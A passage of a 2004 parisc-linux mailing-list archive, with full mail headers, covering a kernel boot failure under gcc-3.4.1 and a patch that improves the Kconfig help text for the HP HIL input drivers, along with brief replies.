X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cannot build kernel with hppa64-linux-gcc-3.4?
Date: Thu, 26 Aug 2004 10:56:13 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20040826175613.GH23033@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623527 10796 80.91.229.3 (22 Nov 2014 02:32:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29481 invoked by uid 65534); 26 Aug 2004 17:56:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx057) with SMTP; 26 Aug 2004 19:56:42 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 611D23BE33; Thu, 26 Aug 2004 11:56:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23075-10; Thu, 26 Aug 2004 11:56:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 253DB3BE29; Thu, 26 Aug 2004 11:56:14 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 59E5D3BE27
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 11:56:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23075-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 11:56:09 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id EB6FF3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 11:56:08 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C514ACD2CB; Thu, 26 Aug 2004 10:56:13 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21893

Hi all,

while debugging some other problems, i noticed that a 64-bit kernel
built with gcc-3.4.1 (debian 3.4.1-7) will not boot. It causes a HPMC
very early on trying to write to nonexistent memory. gcc-3.3.4 (debian
1:3.3.4-9) works fine. 

haven't had time to dig more yet, but it seems to be getting a ITLB
fault, and when we try to handle the interruption, we try to write to an
unmapped virtual address 0x14ffffd00 (this is in skip_save_ior, right
after we switch back to virtual space)

anyone else tried this?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@skynet.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cannot build kernel with hppa64-linux-gcc-3.4?
Date: Thu, 26 Aug 2004 19:56:29 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20040826235629.GB32710@baldric.uwo.ca>
References: <20040826175613.GH23033@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623527 10797 80.91.229.3 (22 Nov 2014 02:32:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21360 invoked by uid 65534); 26 Aug 2004 23:57:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 27 Aug 2004 01:57:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5CE083BE2D; Thu, 26 Aug 2004 17:57:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26916-05; Thu, 26 Aug 2004 17:57:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 48F9C3BE33; Thu, 26 Aug 2004 17:56:42 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 88DB03BE29
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 17:56:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26916-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 17:56:36 -0600 (MDT)
Original-Received: from skynet1.skynet.ca (skynet1.skynet.ca [204.101.190.4])
	by free.linux.hp.com (Postfix) with ESMTP id C446E3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 17:56:35 -0600 (MDT)
Original-Received: from systemhalted (masq-adsl120.skynet.ca [204.101.190.120])
	by skynet1.skynet.ca (8.11.6/8.11.2) with ESMTP id i7QNuTf27404;
	Thu, 26 Aug 2004 19:56:29 -0400
Content-Disposition: inline
In-Reply-To: <20040826175613.GH23033@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040523i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21894

On Thu, Aug 26, 2004 at 10:56:13AM -0700, Randolph Chung wrote:
> Hi all,
> 
> while debugging some other problems, i noticed that a 64-bit kernel
> built with gcc-3.4.1 (debian 3.4.1-7) will not boot. It causes a HPMC
> very early on trying to write to nonexistent memory. gcc-3.3.4 (debian
> 1:3.3.4-9) works fine. 

Not to mention glibc. I can't build glibc with gcc-3.4.1-7
without a loader that crashes at startup.

I haven't tried building a kernel in a while, I'll throw it
on the fire and tell you if it boots.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@skynet.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cannot build kernel with hppa64-linux-gcc-3.4?
Date: Thu, 26 Aug 2004 19:56:59 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20040826235659.GC32710@baldric.uwo.ca>
References: <20040826175613.GH23033@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623527 10798 80.91.229.3 (22 Nov 2014 02:32:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25650 invoked by uid 65534); 26 Aug 2004 23:59:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 27 Aug 2004 01:59:01 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D240D3BE3B; Thu, 26 Aug 2004 17:58:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27189-02; Thu, 26 Aug 2004 17:58:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6A4533BE29; Thu, 26 Aug 2004 17:58:21 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 770963BE29
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 17:58:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27092-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 17:58:15 -0600 (MDT)
Original-Received: from skynet1.skynet.ca (skynet1.skynet.ca [204.101.190.4])
	by free.linux.hp.com (Postfix) with ESMTP id 7B0CF3BE35
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 17:57:01 -0600 (MDT)
Original-Received: from systemhalted (masq-adsl120.skynet.ca [204.101.190.120])
	by skynet1.skynet.ca (8.11.6/8.11.2) with ESMTP id i7QNuxf27429;
	Thu, 26 Aug 2004 19:56:59 -0400
Content-Disposition: inline
In-Reply-To: <20040826175613.GH23033@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040523i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21895

> anyone else tried this?

Yes, me. It didn't work. Didn't debug it. Was working on LWS
:)

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] New help text for HIL options
Date: Fri, 27 Aug 2004 02:21:41 +0100
Lines: 116
Approved: news@gmane.org
Message-ID: <20040827012141.GA4746@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623528 10800 80.91.229.3 (22 Nov 2014 02:32:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2949 invoked by uid 65534); 27 Aug 2004 01:22:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx036) with SMTP; 27 Aug 2004 03:22:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5CD3A3BE35; Thu, 26 Aug 2004 19:22:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27322-06; Thu, 26 Aug 2004 19:22:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 116D63BE37; Thu, 26 Aug 2004 19:21:49 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9B02E3BE34
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 19:21:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27322-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 19:21:42 -0600 (MDT)
Original-Received: from mta06-svc.ntlworld.com (mta06-svc.ntlworld.com [62.253.162.46])
	by free.linux.hp.com (Postfix) with ESMTP id A880F3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Aug 2004 19:21:41 -0600 (MDT)
Original-Received: from janus ([81.105.248.115]) by mta06-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040827012153.ITNA9678.mta06-svc.ntlworld.com@janus>
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 02:21:53 +0100
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1C0VQz-0001Et-00 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 02:21:41 +0100
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21896

This patch changes the help text for the following options:

   CONFIG_KEYBOARD_HIL_OLD
   CONFIG_KEYBOARD_HIL
   CONFIG_MOUSE_HIL
   CONFIG_HP_SDC

I hope it's an improvement.

Help for CONFIG_HIL_MLC is still missing, though.

Index: drivers/input/keyboard/Kconfig
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/input/keyboard/Kconfig,v
retrieving revision 1.19
diff -u -r1.19 Kconfig
--- drivers/input/keyboard/Kconfig	20 Jul 2004 22:06:12 -0000	1.19
+++ drivers/input/keyboard/Kconfig	27 Aug 2004 01:12:33 -0000
@@ -102,7 +102,12 @@
 	depends on PARISC && INPUT && INPUT_KEYBOARD && !HIL_MLC
 	default y
 	help
-	  The "Human Interface Loop" is a older, 8-channel USB-like
+	  Say Y here (or to "HP HIL keyboard support") if you have a
+	  PA-RISC machine with a HIL keyboard connected. This driver does
+	  not support PS/2 keyboards attached to a HIL hub - use the AT
+	  keyboard driver instead.
+
+	  The "Human Interface Loop" is an older, 8-channel USB-like
 	  controller used in several Hewlett Packard models. This driver
 	  was adapted from the one written for m68k/hp300, and implements
 	  support for a keyboard attached to the HIL port, but not for
@@ -110,19 +115,27 @@
 	  However, it has been thoroughly tested and is stable.
 
 	  If you want full HIL support including support for multiple
-	  keyboards, mices and tablets, you have to enable the
-	  "HP System Device Controller i8042 Support" in the input/serio
-	  submenu.
+	  keyboards, mice and tablets, you have to enable the
+	  "HP System Device Controller i8042 Support" in the
+	  "Serial i/o support" submenu, along with "HIL MLC Support".
+
+	  To compile this driver as a module, choose M here: the
+	  module will be called hilkbd.
 
 config KEYBOARD_HIL
 	tristate "HP HIL keyboard support"
 	depends on PARISC && INPUT && INPUT_KEYBOARD
 	default y
 	select HP_SDC
- 	select HIL_MLC
+	select HIL_MLC
 	help
-	  The "Human Interface Loop" is a older, 8-channel USB-like
+	  Say Y here (or to "HP HIL keyboard support (simple driver)")
+	  if you have a PA-RISC machine with a HIL keyboard connected.
+	  This driver does not support PS/2 keyboards attached to a HIL
+	  hub - use the AT keyboard driver instead.
+
+	  The "Human Interface Loop" is an older, 8-channel USB-like
 	  controller used in several Hewlett Packard models.
-	  This driver implements support for HIL-keyboards attached
-	  to your machine, so normally you should say Y here.
 
+	  To compile this driver as a module, choose M here: the
+	  module will be called hil_kbd.
Index: drivers/input/mouse/Kconfig
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/input/mouse/Kconfig,v
retrieving revision 1.20
diff -u -r1.20 Kconfig
--- drivers/input/mouse/Kconfig	20 Jul 2004 22:06:13 -0000	1.20
+++ drivers/input/mouse/Kconfig	27 Aug 2004 01:12:33 -0000
@@ -132,9 +132,17 @@
 	  with that (I don't have the hardware yet).
 
 config MOUSE_HIL
-	tristate "HIL pointers (mice etc)."
+	tristate "HIL pointers (mice etc.)"
 	depends on PARISC && INPUT_MOUSE
 	select HP_SDC
 	select HIL_MLC
 	help
-	  Say Y here to support HIL pointers.
+	  Say Y here if you have a PA-RISC machine with a HIL pointing
+	  device connected. This driver does not support PS/2 devices
+	  attached to a HIL hub - use the PS/2 driver instead.
+
+	  The "Human Interface Loop" is an older, 8-channel USB-like
+	  controller used in several Hewlett Packard models.
+
+	  To compile this driver as a module, choose M here: the
+	  module will be called hil_ptr.
Index: drivers/input/serio/Kconfig
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/input/serio/Kconfig,v
retrieving revision 1.18
diff -u -r1.18 Kconfig
--- drivers/input/serio/Kconfig	20 Jul 2004 22:06:13 -0000	1.18
+++ drivers/input/serio/Kconfig	27 Aug 2004 01:12:33 -0000
@@ -118,7 +118,7 @@
 	---help---
 	  This option enables supports for the the "System Device
 	  Controller", an i8042 carrying microcode to manage a
-	  few miscellanous devices on some Hewlett Packard systems.
+	  few miscellaneous devices on some Hewlett Packard systems.
 	  The SDC itself contains a 10ms resolution timer/clock capable
 	  of delivering interrupts on a periodic and one-shot basis.
 	  The SDC may also be connected to a battery-backed real-time
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] New help text for HIL options
Date: Fri, 27 Aug 2004 00:02:19 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20040827060219.GD6949@colo.lackof.org>
References: <20040827012141.GA4746@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623528 10807 80.91.229.3 (22 Nov 2014 02:32:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stuart Brady <sdbrady@ntlworld.com>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30361 invoked by uid 65534); 27 Aug 2004 06:02:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 27 Aug 2004 08:02:57 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E5C593BDF4; Fri, 27 Aug 2004 00:02:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30342-05; Fri, 27 Aug 2004 00:02:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4E0F43BDDB; Fri, 27 Aug 2004 00:02:26 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE2D23BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 00:02:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30033-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 00:02:21 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id AAE683BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Aug 2004 00:02:20 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id DB1FF29810E; Fri, 27 Aug 2004 00:02:19 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08634-08; Fri, 27 Aug 2004 00:02:19 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5C21D298058; Fri, 27 Aug 2004 00:02:19 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20040827012141.GA4746@ntlworld.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21897

On Fri, Aug 27, 2004 at 02:21:41AM +0100, Stuart Brady wrote:
> I hope it's an improvement.

In general yes.
Normally, Helge Deller deals with the HIL and related patches.
I just had one question.

> -	  The "Human Interface Loop" is a older, 8-channel USB-like
> +	  Say Y here (or to "HP HIL keyboard support") if you have a
> +	  PA-RISC machine with a HIL keyboard connected. This driver does

Is HIL also used on HP m68k workstations as well?
The ones that predate "snakes" workstations. eg HP 425.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kyle@mcmartin.ca (Kyle McMartin)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] New help text for HIL options
Date: Fri, 27 Aug 2004 02:04:53 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20040827060453.GB32487@mcmartin.ca>
References: <20040827012141.GA4746@ntlworld.com>
	<20040827060219.GD6949@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
